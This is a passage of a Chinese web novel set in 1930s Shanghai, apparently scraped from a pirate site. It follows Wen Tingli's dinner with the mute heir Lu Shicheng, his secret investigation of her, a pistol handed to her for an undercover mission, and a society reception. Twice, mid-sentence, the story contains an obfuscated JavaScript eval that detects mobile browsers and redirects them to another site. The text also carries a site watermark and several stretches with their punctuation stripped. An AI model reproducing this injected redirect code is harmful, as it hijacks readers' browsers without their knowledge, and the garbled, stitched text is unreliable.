【请帮我给邝先生打个电话。】他把本子递给她。 “哦对对。”闻亭丽转回先前那个电话局,没走几步,忽然回过头笑看陆世澄,“您是怕邝先生担心您吧,您对身边人真好。” 陆世澄自管自望着路旁的洋梧桐树,他对闻亭丽这种没话找话的行径已经习以为常了。 电话接通了。 “邝先生,我是闻亭丽,陆先生要我跟您说一声……我怎会跟他在一起?这、这一时半会说不清楚……就在甘家巷附近,对对,您不必着急找陆先生……” 给邝志林打完电话,闻亭丽又给周嫂打了个电话。 接着两人从甘家巷并肩走出来。 “吃完晚饭,我再请您吃点甜品吧?这附近有家店鸽蛋圆子做得很不错。” 说得正起劲,陆世澄忽一把拽住她的胳膊,原来她只顾着招待陆世澄,却没留意自己的脚下有块大石头,要不是陆世澄及时拉她一把,这会儿多半已经崴脚了。 陆世澄严肃地把手插回自己的裤兜。 闻亭丽不好意思笑起来:“您真细心,这地上坑坑洼洼的……我就不招呼您过马路了,陆先生自己走?” 陆世澄默了默,他是哑巴,又不是盲人。 “我不是怕我招待不周嘛。”她快步穿过马路,又转过身立在台阶上笑眯眯等着他。 等到陆世澄过了这边,闻亭丽将自己的小本子双手递给陆世澄。 “吃饭的时候陆先生觉得哪里不好,把意见全写在这上头,我保证这顿饭让您吃得满意。” 陆世澄接过本子,闻亭丽抿嘴直笑。 这时,马路上开过一辆汽车,车里坐着孟麒光和小高。 小高想起昨晚的事,正是百思不得其解 :“孟先生,我们手里还压着曹帮主的两船货,原本昨晚当场就能帮闻小姐解围,为何你要在宝心小姐面前要装出无解的样子,是想再等等吗? “等?孟麒光漫不经心翻着报纸,“人跟人之间的关系,无非是利益交换,把我有的给对方,再从对方身上换回我想要的,假如我身上没有她想要的东西,即便我主动帮她一百遍,她也会只拿一句谢谢来打发我。 小高似懂非懂。 孟麒光一哂:“这也不懂吗,天大的恩情,换不来等价的交情,这是人人都有的劣根性,你跟我这么久,何尝见我孟麒光做过亏本买卖。昨晚她既然死也不向我开口,我又何必拿热脸去贴冷屁股,在宝心面前做做样子也就算了。放心,姓邱的忌惮着我这层关系,不敢真拿闻小姐怎么样的。 小高待要再开腔,无意间一抬头,就看见闻亭丽和一个年轻男子在荡马路。 小高瞬间张大嘴,那竟是陆世澄! 因为隔得太远,也听不见两个人在说什么,只晓得那个闻小姐正跟陆世澄有说有笑。 “孟先生?!他惊讶得不知说什么才好。 原以为孟麒光会不高兴,没想到孟麒光只是兴趣浓厚地望着那边,注目良久,低笑道:“很好,目标明确,野心勃勃,比我还善于把握机会。 说这话时,汽车刚好从两人身后擦过,孟麒光目光炯炯看着闻亭丽的侧影,眼看两人朝巷子里头走,又转过头继续向后盯着看,直到着两人的身影消失,这才淡着脸收回视线。 *** 闻亭丽所说的广雅居离慈心医院不远,老板是一对中年夫妇。 老板娘待闻亭丽十分热情,只是说话时老偷偷打量陆世澄。这年轻后生不光生得挺拔俊雅,衣着更是体面得不像话,这样的人贸然走进路边的小餐馆,任谁都会多看几眼。 陆世澄进店后只在一旁静静环顾四周,察觉老板娘的目光,不但毫无恼意,反而礼貌地冲对方点点头。 闻亭丽早就见识过陆世澄的涵养功夫,老板娘却闹了大红脸,忙堆起局促的笑容,招呼两人进了一间包厢。 两人相对着坐下。 “喜欢吃这个吗?闻亭丽拿着菜谱请示陆世澄。 陆世澄点点头。 闻亭丽 却笑道:“瞧我哪有做东的一个劲问客人的。” 接下来好一阵没吭声。 陆世澄没忍住抬眸一看就见闻亭丽低头皱眉研究菜谱单看那认真的表情比治学还要严谨不一会就见她抬起头冲门外说:“老板。” 一口气点了七个菜外加一份负责解腻的红苋菜汤加糟只是菜刚点到一半 【不我不要。】 他在小本子上写了一句话。 【你菜点的太多了。】 原来不是要净手闻亭丽松了口气但她随即坚定地摇摇头:“我是因为拿不准您的口味所以才多点了几样招牌菜陆先生每样都尝一尝碰到喜欢的就多吃一些不怕吃不完的我可以把剩菜打包带回去。” 点完菜闻亭丽当着陆世澄的面用帕子擦了擦桌面然后把帕面反过来给他瞧。 “瞧这家店小归小但干净得出奇。他们后厨我都去瞧过也跟外头一样卫生。” 陆世澄伸手去拿桌面上的碗筷闻亭丽抢先把东西整整齐齐放到他面前。 同时让老板娘多上一副碗筷预备待会夹菜的时候用。 紧接着她又亲手给他倒了一盏茶。 “就是茶的味道差了点。陆先生先将就喝一口我让他们给您买几瓶冰橘子水过来。” 【谢谢。】他正好渴了。 “不用谢!”闻亭丽开心地说“天气实在太热不喝点凉的简直吃不下饭。” 她拜托店里的伙计帮忙买冰汽水之后便把两只胳膊交叠着放在桌面上对着陆世澄仅仅安静几秒又开始兴致勃勃找话。 “我从小就住在这附近家家饭馆都吃过再没有比这一家味道更好的了要是陆先生还是不满意——” 她拍拍自己的胸脯:“不妨直接告诉我您喜欢什么类型的饭店下次有机会我再请您一次刚才的事多亏有陆先生再怎么酬谢也是应当的。” 陆世澄状似随意拿过本子在上面写下一句话。 【假如方才我没及时赶到闻小姐可还有别的求助对象?】 闻亭丽头皮一麻他可真会切中要害。当然她不能对他说他前脚刚到厉成英的 人后脚也到了。 “那我就向朋友求助。我有几个同学家里是很不怕白龙帮的我因为实在不愿意麻烦她们才拿邝先生的名片吓唬姓邱的但如果逼到没办法我也就顾不得那么多了我会给我那几个同学打电话。” 陆世澄静静谛视着闻亭丽。 闻亭丽坦坦荡荡回视。 长长的睫毛一眨她端起杯子轻轻抿了口然后大约是觉得无聊她就像欣赏名画一般研究起手里的茶杯来。 陆世澄则是像看名画一般研究闻亭丽她的表情和眼神看不出半点心虚可是自打进了包厢这是她第一次长达半分钟没有开口讲话。 可惜伙计的脚步声打破了这短暂的宁静。“橘子水来了。” 闻亭丽的表情立刻变得活泛起来。 “摸一下是不是很凉?”她把一瓶橘子水推到他面前“先解解渴菜应该快好了。” 陆世澄假装看不出她急于转移话题喝完一整瓶仍有些口干闻亭丽主动把第二瓶推到他面前。 接着她开始拧自己的那一瓶 手中忽一空陆世澄把她的汽水瓶拿过来帮她拧开。 “谢谢。”闻亭丽一脸诚挚地说“陆先生您真细心又体贴。” 陆世澄把脸对着一旁喝汽水。 菜终于上桌了。第一道菜是红烧秃肺陆世澄本以为会很腻一尝竟异常清腴嫩滑。 “怎么样?”闻亭丽一眼不眨望着他。 陆世澄微微颔首拿起备用筷子又夹起一块。 闻亭丽笑出两个酒窝。 第二道菜是扁尖腐衣闻亭丽帮陆世澄盛汤的时候一句都未说俨然对这道汤信心十足。 汤确实很美味冬瓜和番茄都烹调得鲜嫩多汁难得腐衣也没有豆腥味。 不知不觉间陆世澄把半碗汤都喝完了。 请客吃饭最高兴就是客人喜欢自己点的菜闻亭丽作为东家心里满足极了接下来不再说话只专心吃饭。 包厢终于安静下来而且安静了好一阵。吃完饭闻亭丽高兴地让伙计送些帕巾给两个人净手面老板娘笑呵呵拿过账单:“一共是八块半闻小姐是熟客那半块大洋的零头就免了。” 这价格不便宜,毕竟寻常人家一桌酒席也才十块大洋(注),只怪方才菜点得实在太多,食材又极新鲜,闻亭丽心里早有准备,忙说“好”,从书袋里掏出一个巴掌大的蓝布口袋,把所有钱倒出来一数,却只有六块大洋。 闻亭丽不敢置信地在书袋里重新掏摸一遍,仍没摸出半毛钱。 包厢里的氛围顿时尴尬起来。 “等一等。”闻亭丽努力保持着镇定,“一定是落在哪个角落里了,我再找找。” 陆世澄倒是很懂得照顾别人的面子,一开始只是坐在那儿看着她找,看她越来越急,很自然地从自己的上衣口袋里取出皮夹子,预备帮她付账。 闻亭丽忙制止他:“说好了我请客的。” 又对老板娘说:“您千万别让这位先生结账,稍等片刻,我马上回来。” 她起身出了小包厢,陆世澄好奇之下,不禁也跟着望向门外,就见闻亭丽匆匆沿着走廊走了。 仅一分钟她就返回了,并且手里多了一张大票子,径直递给老板娘,大大方方地说:“帮我找一找。” 这一找,就找回来一大堆银元,但好歹顺利结了帐,老板娘又把剩菜仔细打包好交给闻亭丽。 两人出来时,陆世澄特地朝刚才那条小走廊看去,过道尽头居然是一间盥洗室,盥洗室里头自然不会藏着银票,那就只有一个可能…… 两人视线相触的瞬间,空气诡异地一默。 闻亭丽正为刚才的事不自在。她明明记得兜里还有十块大洋,也不知何故少了四块,结账时才想起,前晚去花园坊的时候她从祥生车行叫过一辆出租车,今早出来时又给周嫂和小桃子留了些饭钱,这些花销她本来心里都有数的,被邱大鹏那老东西一闹也就忘了。 幸而前几天才把几张大票子都缝进了贴身小衣,可以临时去盥洗室脱衣裳取钱救急。 她生怕陆世澄多问,幸好,他很体贴地什么也没问,这让她多少自在了些,心头一松,她再次活跃起来。 “刚才说好了请您吃甜点的。”她开心地说,“那家店就在隔壁,它家的鸽蛋圆子特别解暑,才喝过热汤,现在吃正合适。” 话虽这样说,她也拿不定主意陆世澄会不会答应,谁知他竟顺着她指引的方向看了看,闻亭丽一 讶忙在前面带路两人走到那家甜品店门前闻亭丽刚要进去陆世澄却停步看向街头。 原来街上不知何时来了好几辆洋车。 前头那辆车下来一个人正是邝志林。 邝志林径直穿过马路朝他们走来。 “邝先生好。”闻亭丽主动向邝志林问好。 邝志林看看闻亭丽又看看陆世澄他的眼底充满疑虑他的态度却像往常一样客气:“闻小姐你们这是——” 闻亭丽忙说:“我正要请陆先生吃鸽蛋圆子。” 说着不好意思地笑了笑:“前头打电话的时候我就该一并邀请邝先生都怪我太愚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178233|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笨未曾反应过来您来了正好我要好好请您尝尝这家店的甜品。” “闻小姐的美意邝某心领了。”邝志林笑笑“可是眼下实在不凑巧力新银行的经理还等着见陆先生和邝某呢。” 闻亭丽遗憾地点点头转头便要跟陆世澄告辞才发现陆世澄并没有要走的意思。 他仿佛在认真等着她带他去吃鸽蛋圆子。 闻亭丽又惊又喜:“天气太热 不一会抱着几个食盒出来将其一并交给邝志林:“伙计在食盒里放了不少冰块但也不要放太久最好马上吃。” 接下来她没再说什么陆世澄等了半天没在她四周看到任何可疑人物仿佛陡然失去了兴趣似的接过那食盒向她点头致谢转身上了车。 闻亭丽立在车旁送别:“再会。” *** 回到邝志林的寓所陆世澄对着茶几上的食盒面露思索。 邝志林问陆世澄:“吃饭的时候闻小姐都跟您说了什么?” 就因为没说什么陆世澄才觉得匪夷所思。 她既没有借着吃饭的机会向他打听任何事也没有趁机讨回那张名片。甚至在刚才送甜品时她也没有想方设法为下一次见面制造机会。 不过这并没有打消他心里的疑虑毕竟这位闻小姐最近出现在他面前的次数太多了些。其实早在那晚闻亭丽利用他的名义拍卖洋装他就对她起了疑心。 上一次他在黄金剧院设局对付陆克俭时她撞上枪口事后他也觉得太过凑巧。 傍晚在看到那帮形迹可疑的老太太的那一刹,他对她的怀疑达到了顶点,那样的练家子,绝非一般人能差遣得动的,他当即决定试她一把。 吃饭时,他有意无意给她了很多次动手或是开口的机会,但闻亭丽始终没有更进一步的举动。 他有点看不透她了。 邝志林没能等来陆世澄的回应,便知闻亭丽在饭桌上并未露出丝毫破绽,他忙从书房取出一份卷宗:“这些日子我已经把闻小姐的底子查清楚了,您先过目。 陆世澄接过卷宗,邝志林查起人来巨细靡遗,这次也不例外,从闻亭丽出生那年查起,到她前一阵是如何进务实念书,包括闻亭丽自己早已忘却的一些经历,都被写进了眼前这份档案。 “北平那边也查过好几轮了,但不论是闻小姐,还是她的父亲闻德生,都未曾跟那边有过交集。即便闻小姐真有问题,也不像是北平那位爷派来的。 陆世澄有一阵没反应,他很清楚他那位三叔的做派,陆克俭要用人,必然会先施展一些拉拢人心的手段,然而,闻亭丽的父亲至今未出院,那个被她视作仇人的邱大鹏甚至混得越来越好了。从这两点看,她又不大像陆克俭派来接近他的人。 “闻家的户头上最近也没有可疑的进项,倒是闻小姐的母亲——邝志林含蓄地说,“曾经在南京的红粉花楼做过妓-女,但这也已经是二十年多前的事了,闻德生和闻太太来上海之后,两口子一直兢兢业业做些小买卖,据我们调查所知,乔太太私底下也查过闻家的底细,正是因为查到了闻小姐母亲过去的这段经历,所以坚决不同意闻小姐同自己的儿子在一起。 乔家的所作所为,陆世澄也大致听说了一点。 他露出颇不以为然的表情。 不过,乔家怎么做与他无关,他只知道,邝志林在查人方面从未出过差错,如此看来,闻亭丽就是个背景再单纯不过的小姑娘。 碰巧翻到了闻亭丽参加话剧大赛的那一页,里面夹着一张她荣获冠军的照片,陆世澄夹起照片凝视着相中人。几次交道打下来,他知道闻亭丽头脑很聪明,反应也快,假如她真是什么人派来的,这一次没动静,不代表下一次不会露出马脚。 还是得好好试她一次。 邝志林笑道 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节) :“还有一种可能,闻小姐只是单纯地想接近澄少爷,当初她跟乔公子认识的过程就有不少说道……澄少爷别那样看我,我并非恶意中伤闻小姐的品行,但闻家遭逢巨变是事实,加上邱氏父子一直对她虎视眈眈,处在这种困境中,小姑娘急于想找个靠山也是情有可原的,难得澄少爷又跟她年岁相仿—— 陆世澄想起闻亭丽那个快翻烂的单词本子,若有所思翻了翻她的档案,很快从后面抽出两张务实中学的成绩单。 闻亭丽刚进务实时排在第三十六名,最近一次却已经上升到了班上的第九名,才两月,不下一番苦功夫是不可能进步这样快的。 一个一心要依附男人的女子,岂会在功课上这样用心? 因此,对于邝志林的这番猜测,他内心并不认可。 想了几秒,他指了指闻亭丽的档案,想办给她法制造一点“机会。 邝志林点点头,倘若试出闻亭丽有问题,自然好处理,但——“如果查下来闻小姐没什么问题呢? 陆世澄沉吟,那么,她就是一位话多的年轻女士。 话多是错么? 显然不是。倘若她再来找他,他只需远离这位话多的小姑娘就行了。 邝志林心里有数了:“好的,我会尽把‘动手的机会’透露给闻小姐。 陆世澄点点头,把笔插回口袋,干脆利落结束了这个话题。 *** 回到家,闻亭丽找出一本小人书让小桃子坐在床上看,自己在灯下记账。 她一回到慈心医院就给厉成英打电话致谢,但是关于陆世澄,她未能提供任何有用的线索。 毕竟今晚她从头到尾没有故意向陆世澄打听过什么。 邓院长的事固然重要,陆世澄赶过来救了她也是事实,既要请他吃饭,自该真诚相待。 作者有话要说 注:此处以银元为单位。“那时节,上海的北方菜馆会宾楼、大雅楼一席酒是六元。 第 25 章 再入陆公馆。 厉成英倒没再多打听什么,只在电话里叮嘱闻亭丽当心。 礼拜天这日,闻亭丽约燕珍珍去赵青萝家里温书。 赵青萝自己有间单独的小书房,在她那儿看书,比在闹哄哄的慈心医院病房清净许多。 一上午过去,闻亭丽温熟了不少功课,中午又在赵家用的膳。 饭毕,三个小伙伴坐在一起研究各学校的招生公告,赵太太忽过来敲门:“青萝,筱文打电话找你。” 三人互望一眼,高筱文既是她们同班同学,也是赵青萝的表亲,但与赵青萝不同的是,高筱文不大喜欢念书,她父亲是糖果大王,将来不愁没有出路,高筱文自己也承认当初来务实就是为了混一张中学文凭,别的同学忙着备考,她却日日忙着骑马和参加舞会。 “多半是要叫我们去她家玩,我去推了她吧。”赵青萝推开椅子。 不多时,赵青萝咚咚咚上楼,然而并不进屋,只立在门口气呼呼叉着腰说:“这人真是的!” “怎么了?” “高筱文说她大哥在霞飞路新开了一家百货公司,比欣欣百货盖得还要摩登,在正式开业之前,高家大哥预备先举办一个大型招待会,邀请了本埠一众明星前去赏光,又费了九牛二虎之力请到陆家帮忙剪彩,高筱文说当晚一定很热闹,叫我务必去开开眼界。我回说考完之后再去,高筱文却说她一个钟头前就差人送请帖过来了,还强调这是她家的大事,我若不去她就要跟我断交。你们说这人霸道不霸道?她跟她大哥平日关系又不睦,非拉着我去凑热闹做什么?” 燕珍珍漫不经心地翻着课本:“高筱文这个人从不记仇,不想去的话,直接推了她好了,她这人,顶多气个两三天就撂开手了。” 闻亭丽听到“陆家”二字,耳朵倒是立即支棱了起来,然而一想到那晚请陆世澄吃饭的初衷,复又耷拉下去,横竖厉成英已经开始调查陆家三爷了,她这边缓一缓也没关系,于是并不接茬,只一个劲地催促赵青萝:“别浪费时间了,你快过来看看这道题,我和燕珍珍解出来的答案不一样。” 过了一个钟头,高家果然送来几张请帖,除了送给赵先生和赵太太各一张,又专程给了赵青萝一张。 请帖的设计倒是符合高家人一贯的浮夸作风,暗红色的底 子,洛可可浮雕花案,帖子四周还不甘寂寞地滚着金边,日期是礼拜六。 赵青萝问闻亭丽和燕珍珍怎么办,两人都拒绝帮她出主意,赵青萝赌气把请帖锁进了抽屉里。 闻亭丽在赵公馆学到下午五点钟才走,临走前,赵青萝特地从车行叫了出租车送两个小伙伴上车。 晚上闻亭丽在病房里跟小桃子和周嫂吃晚饭,陪护拿着一份报纸进来:“刚才听几个大夫说,闸北好像又有人被枪杀了,闻小姐,你识字,看瞧瞧报上是怎么说的。 闻亭丽忙要夺过报纸来看,黄远山却找了过来,一进来就将水果等物搁到病床边,闻亭丽有一阵没看见黄远山了,不免惊喜交加:“黄姐。 黄远山指指病床上的闻德生,温声说:“我来看看伯父。 她立在床边关怀地问了几句,又同小桃子玩了一下,末了用眼神示意闻亭丽跟她出去。 一到门外就发问:“听说白龙帮有个姓邱的一直在找你麻烦? 闻亭丽嗯了一声。 黄远山想了想说:“这样吧,电影协会的林副会长跟曙光律师事务所的包大律师交情还不错,包律师你听说过吧?那可是连曹振元都忌惮三分的人物,今早我已经拜托林会长在中间帮忙引荐,过几天大伙一起吃个饭,届时包律师会对外说你父亲跟他是早年的好朋友,我再找几个记者在报纸上宣扬宣扬,这样全上海都知道你背后有电影协会和著名律师撑腰,姓邱的自然不敢再找你麻烦。 闻亭丽心中暗喜,厉成英那边这么快就发力了。 由电影协会出面引见她和包亚明,自是再合理不过了。 她高兴地说:“黄姐,您真好。 黄远山哼了一声:“我只是看不惯一帮流氓欺负一个小姑娘,再说我可不是白帮忙的,你的服装已经裁得差不多了,足足花了我这个数! 她摊开手掌做了个手势:“钱都花出去了,我可不希望中途被人给搅了局。闻亭丽,我得提醒你,说好了等你一毕业就开拍,到时候你别又找什么借口反悔。 闻亭丽一拍胸脯:“放心吧。我闻亭丽一言,驷马难追! 黄远山走后没多久,刘护士长来找闻亭丽,依旧去的上回那间空置的库房,一进去,就见厉成英候在里头。 “电影协会的人过来找过你了?厉成英笑吟吟地问。 闻亭丽感激颔首:“劳您费心了。还有上回那帮老奶奶,也麻烦您帮我转达谢意。 厉成英却露出愧色:“那日恰好我和老包都有急事在身,差一点就没能帮你解围。 闻亭丽忙说:“一点也不晚!我知道您一定会派人来帮忙,横竖会想法子拖延时间的。 厉成英绽出笑容:“你就这么信任我们? 闻亭丽笑了笑:“就冲着您跟邓院长的交情,我也从未怀疑过您。 厉成英回身从皮包里取出一样东西交到闻亭丽手中。 那是一个小小的硬皮箱。 沉甸甸、冷冰冰。 闻亭丽好奇地打开箱盖,一望之下,脑中闪过一道白光。 “这是—— 厉成英摁住闻亭丽的肩膀示意她噤声。 “经过这一次的事件,我想我们该重新考虑你的人身安全问题了,即便日夜派人保护你,也免不了遇到一些突发状况,况且邓院长刚醒…… 闻亭丽一懵,登时激动得语无伦次:“她老人家醒了?能不能再去医院探望她一次? 厉成英叹息:“上次带你去见她老人家已经冒着很大的风险,这次再去,只会让你也跟着身陷险境。昨天晚上她老人家刚一醒,消息就不胫而走,中午有人试图混进邓院长的病房行刺,还好被我们的人及时拦阻,看样子,他们不将邓院长除去是绝不会善罢甘休的,我和老包现在的任务除了保护院长,就是尽快内找出幕后主使。 闻亭丽的心一下子提到了嗓子眼里:“那人有没有供出是谁主使? “对方买通了法租界的巡捕,刚露馅就逃跑了,但逃走时背部中了一枪,不尽快治疗的话,会因失血过多而死,我已经令人留意各药店和私人诊所,一有动静就会采取行动。厉成英冷声说,“另外,‘力最时’洋行那边也有了新动静,那位新上任的经理刚在香港置了一座宅子,而出资人极有可能是陆家,我们已经暗中联络香港钱庄那边的人,如能查到这笔钱的具体来源,就能确定究竟是陆三爷还是陆世澄指使的了。 又道:“对了,陆世澄那边,你可有什么新线索? 闻亭丽如实以告:“ 那次吃饭我什么也没打听出来,那之后我也没再见过陆世澄和邝志林。 厉成英目光如炬,问话却很含蓄:“小闻,你是不是有什么顾虑? 闻亭丽迟疑数秒,诚实地点点头:“这些日子我接近陆世澄的次数太多,我担心再这样下去会让他起疑心,再说—— 那日陆世澄本可以不管她的,可他还是赶了过来。 面对这样一个帮过她的人,她实在不好意思当面一套背地一套。 厉成英了然地看着她:“小闻,你是个恩怨分明的人,但一日不查到幕后主使,邓院长就一日处在危险之中。况且,你查陆世澄,他也可能在背后查你,你有没有想过,那日陆世澄这样做也可能是为了试探你。 闻亭丽赧然片刻,坚定地抬起头来:“您说的不错,我的确有些意气用事了,但如果我没猜错,陆家可能已经有点怀疑我了,倘若贸然行动,只会让他们更起疑心。 厉成英神色异常凝重,快步在屋里踱了两步:“你可能不知道,那日我和老包之所以未及时赶来,是因为有位伙伴在闸北被枪杀了,他刚从武汉拿到力最时洋行的资料,一到上海就联络我们,但不等我们两方碰头,这位朋友就惨遭毒手。 闻亭丽一骇,先前陪护说的那桩新闻当事人,竟是厉成英的同伴?! 厉成英微颤着闭了闭眼:“所以你明白了吗,时间不等人,再不赶快查出幕后真凶,还会有更多的伙伴遇害。我们请你帮忙,除了考虑到你跟邓院长有一份不为外人所知的交情,也因为你的背景经得起陆家调查,只要他们无法拿出确凿的证据证明你有问题,你就可以光明正大接近他们,你得知道,在此类行动中,对方的怀疑是不可避免的,唯一的破解之法就是依靠自己的智慧见机行事。 闻亭丽带着惭色听着,正色道:“我想,我知道该怎么做了。 厉成英郑重其事从箱子里取出那把“盒子炮(注)。 “拿着吧,从今天开始,刘护士长每晚会花一个小时的时间教你射击。 或许是房间里太静,闻亭丽几乎能听到自己怦怦的心跳,她小心翼翼抚摸枪身。 “里面没装子弹。厉成英提醒闻亭丽,“刘护士长教你射击的同时,还会教你一些防身术,以便你今后能 够灵活应对一些紧急状况。 闻亭丽屏住呼吸发问:“等我完成了这次的任务,这把枪还是会属于我吗? 厉成英含笑说:“它从此就是你的了。 闻亭丽眼眶一热,忙将枪紧紧握在手里,那冰冷实沉的触感,让她获得了从所未有的安全感,翻来覆去地看了许久,这才颤声问:“邓院长她老人家恢复得如何?能进食了吗? 厉成英摇摇头:“我听老包说,尽管邓院长神志不十分清醒,但昨晚一看到他就指了指自己的公文包。公文包之前被我们检视过了,里头只有一些医院的文件,老包不解其意,便依次将东西取出来给邓院长看,拿出记事簿时,邓院长突然点点头,翻到最后一页时老包才反应过来,邓院长是在打听你的情况,她只怕你那日贸然进礼查饭店寻她,会误中歹人的子弹,听老包说你一切都好,这才放心地闭上眼。 闻亭丽默然垂泪半晌:“请您帮我转告她老人家,一定好好调养身体,等她康复了,我还每晚给她老人家送宵夜。 厉成英拍拍闻亭丽的肩头,一句话未再多说,提着公文包走了。 闻亭丽万分珍重把枪藏在包里,当晚,她给赵青萝打电话。 “青萝,你能不能帮忙打听一下这次高家的招待会都邀请了哪些人? *** 过几日,闻亭丽在黄远山等人的引荐下,正式与包亚明“见面。 第二天这消息就见了报。那日起,闻亭丽终于可以正大光明给曙光律师事务所打电话。 礼拜五这晚,包亚明接到闻亭丽的电话,他想也不想就说:“如果你是为了明天高家的招待会联系我,我得奉劝你一句,请帖我可以帮你弄,但陆家跟高家素无来往,陆世澄通常也不会出席这种场合,这次突然肯帮高家剪彩,其中必有蹊跷,而且据我所知,陆世澄的性子绝不像他表面上那么好说话,你当心误中他的圈套。 闻亭丽却说:“我不是要找您要请帖,我是要跟您商量另一件事。我已经打听好高家当晚都邀请了哪些人,您的助手刘亚乔小姐是欣欣百货董家的表亲对不对,我得向您借她一用。 听完闻亭丽的计划,包亚明似乎有些意外:“这是你自己想出来的法子? “那当然。 “办法倒是很不错,如此一来,我们便可以反客为主了,但此事说起来容易,办起来却难。 闻亭丽却说:“对旁人来说难,对您来说却易如反掌。 包亚明被这话逗笑了:“密斯闻这口才,不做律师可惜了。好,我可以试一试,但我得再次提醒你,陆世澄其人,心思极缜密。即便我们做得再不露痕迹,也不能保证他不起疑心。 闻亭丽拿出厉成英那日的话回包亚明:“时间不等人,再瞻前顾后,何时才能帮邓院长脱离危险?我总要冒一回险的。 包亚明扔下一句话:“等我的消息吧。 *** 礼拜六这晚,逸菲林百货公司门前名流云集。 高家所言不虚,这幢新盖的百货大楼处处比欣欣百货豪华,上下共五层,顶楼建有花园和游乐场,橱窗的设计也完全参照了巴黎现今最摩登的样式。 高家在这次的招待会上也下足了功夫,光是上海这边,就请来了段妙卿、乐知文、沈莺莺等十来位当红明星,北平天津等地也有不少文艺界知名人士到场,门前停满了各式各样的豪华汽车,厅堂内随处可见衣饰鲜艳的男男女女。 为了扩大声势,高家同时给沪上几家颇具影响力的报社发了邀请函,剪彩时,记者们蜂拥而至。冲着今晚这盛况,相信逸菲林很快就会在上海滩打响名头。 陆世澄刚在门前下车,高大公子就带着大队人马迎了出来。 剪彩之后便是隆重的晚宴。 一晌过后,邝志林过来找陆世澄,俯身在他耳边说:“那位闻小姐没来。这就怪了,头些天我已经令人做了安排,只要闻小姐有心,她有的是法子从她朋友那里得到请帖,说不定因为什么事迟到了,再等等看吧。 陆世澄微微侧过脸,邝志林会意:“放心,绝不会是因为起了疑心没来,我们这边做得极隐秘,闻小姐再敏锐也很难察觉到不对劲。 陆世澄想了想,示意邝志林静观其变。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178234|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍后,高大公子过来邀请陆世澄:“实不相瞒,除了这间百货公司,高某还将在虹口开一家大型游乐场(注),若是陆先生对此间项目也有兴趣,可否拨冗听高某细细说说。 陆世澄在高大公子的陪同下四处转了转,便象征性地留在招待厅打 桥牌。 刚坐下一个男人就坐在了对桌。 紧接着一道不冷不热的目光落在他身上。 陆世澄迎着对方的视线抬眼这人他认识叫孟麒光早前在文家赴宴时他曾接过孟麒光的名片。 奇怪的是孟麒光态度却不似上回那样殷切反而有些冷淡坐下后不声不响看了他好几眼才和颜悦色同他打招呼:“陆小先生。” 高大公子看到孟麒光有些惊讶:“致知?!你不是说今晚绝不打桥牌吗怎么突然又来兴致了?” “自是因为看到陆先生有兴趣才过来凑热闹孟某还未领教过陆先生的牌技呢。” 陆世澄对孟麒光颔了下首不知是不是他的错觉孟麒光的目光里仿佛透着点敌意可细辩之下对方的脸上却又只有真诚的笑意。 他疑惑归疑惑面上却丝毫未显从容接过仆欧发过来的牌。 招待厅旁边便是花厅先前便有十几位珠光宝气的女眷坐在里头聊天看到陆世澄过来某位天津来的太太悄声问:“那就是小陆先生吧当真是名不虚传真该带我家那几个不成器的过来学一学人家这名门风范。” 刚好高太太带着自家女眷过来应酬闻言笑着说:“几位太太要过去打招呼吗陆小先生虽然不爱说话但为人一贯很随和。” 女眷们便要起身不料迎面看见一位气派十足的大小姐走过来。 正是欣欣百货的大当家董沁芳她是董家这一代年轻人里最有能力的那个几年前正式接管家业在她的带领下 这次高庭新开办逸菲林颇有跟欣欣百货一较高下的意思。 “董小姐!”众人忙上前殷切打招呼。 董沁芳应酬一番好不容易抽身出来随手拿起一杯鸡尾酒坐到沙发上不着痕迹地打量逸菲林待客厅的内部装潢突然有个人坐到了她的身边。 “亚乔。”董沁芳一讶。 刘亚乔是她的表妹沪江法律系毕业如今在曙光律师事务所给大名鼎鼎的包大律师做助手所挣薪酬比族中几位在外头做事的兄弟还要高。 刘亚乔指了指面前这美轮美奂的大厅对董沁芳笑起来:“沁芳姐实话说 逸菲林这一开张,说不定会把你的欣欣百次比下去。 董沁芳微微一笑:“也就新鲜个几天,我们欣欣在沪上屹立了这么多年,哪有那么容易被比下去。 “你别忘了在你们欣欣没开张之前,此地最时髦的百货公司可是宜兰,欣欣一出,宜兰没多久就关门大吉了。 “那是因为宜兰百货只知道因循守旧,我们欣欣绝不会步他们的后尘。 “我是那种喜欢看热闹的人吗,不过是看到高大公子一副势不可挡的架势,有点替沁芳姐担忧罢了。 “那你说,如果不想被逸菲林比下去,我们欣欣现在该拿出什么对策? 刘亚乔想了一会:“我对经营商场这一块完全是外行,单是从市民的角度来说,我是极喜欢凑热闹的,如果这时候你们欣欣百货能筹备起几场盛大的文艺节目,不愁不能把新旧客人引过去,再趁这个当口做些酬宾活动,高家的气势也就被你们打下去一半了。 “文艺节目。董沁芳沉吟。 刘亚乔提醒董沁芳:“像是什么唱歌比赛、滑稽戏表演,都可以,大光明影院开业那年,就从北平请来名角唱了好几天戏,还有,明星一向是最能吸引市民的,例如这次高家开业,就请了段妙卿、乐知文过来捧场,这法子你也可以参考参考。 